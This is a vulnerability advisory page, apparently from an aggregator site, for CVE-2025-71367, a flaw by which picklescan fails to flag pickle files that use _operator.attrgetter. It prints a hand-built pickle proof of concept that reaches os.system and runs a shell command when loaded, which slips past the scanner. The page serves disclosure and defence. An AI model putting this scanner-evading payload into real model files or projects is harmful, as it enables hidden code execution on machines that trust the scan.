🛡️ CVE-2025-71367 — picklescan

🟠 CVSS 8.1 — High ✅ No Known Exploit CWE-502 NVD
8.1
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.attrgetter

Summary

Picklescan uses _operator.attrgetter, which is a built-in python library function to execute remote pickle files.

Details

The attack payload executes in the following steps:

  • First, the attacker crafts the payload by calling the _operator.attrgetter function in the reduce method.
  • Then, when the victim, after checking whether the pickle file is safe by using the Picklescan library and finding that this library doesn't detect any dangerous functions, decides to call pickle.load() on this malicious pickle file, it leads to remote code execution.

PoC

```

import pickle

import pickletools

opcode3 = b'''cbuiltins

__import__

(Vos

tRp0

0c_operator

attrgetter

(Vsystem

tR(g0

tR(Vecho "pwned by _operator.attrgetter"

tR.'''

pickletools.dis(opcode3)

pickle.loads(opcode3)

```

This PoC can't be easily create by pickle.dumps, so it was manually built.

Impact

Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.

Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.

Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Report by

Pinji Chen ([email protected]) from the NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu ([email protected]).

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability none.

Weakness class

CVE-2025-71367 is classified as CWE-502: Deserialization of Untrusted Data. Serialised data from an untrusted source is reconstructed into objects, which can trigger code during the process.

Affected software

CVE-2025-71367 is recorded against 2 packages.

  • picklescan (fixed in 0.0.34)
  • unknown

Timeline and source

Published on 30 December 2025 and last revised on 8 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)

Details

Severity HIGH
CVSS Score 8.1
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
CWE CWE-502
Public Exploit ✅ No
Source NVD
Published 2025-12-30
Updated 2026-08-12
Modified 2026-07-08
Fix URL N/A

Affected Packages

Software From version Fixed in
picklescan 0.0.34
unknown

Similar Threats

Site Security Check

Is picklescan part of your stack?

CVE-2025-71367 is rated CVSS 8.1 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.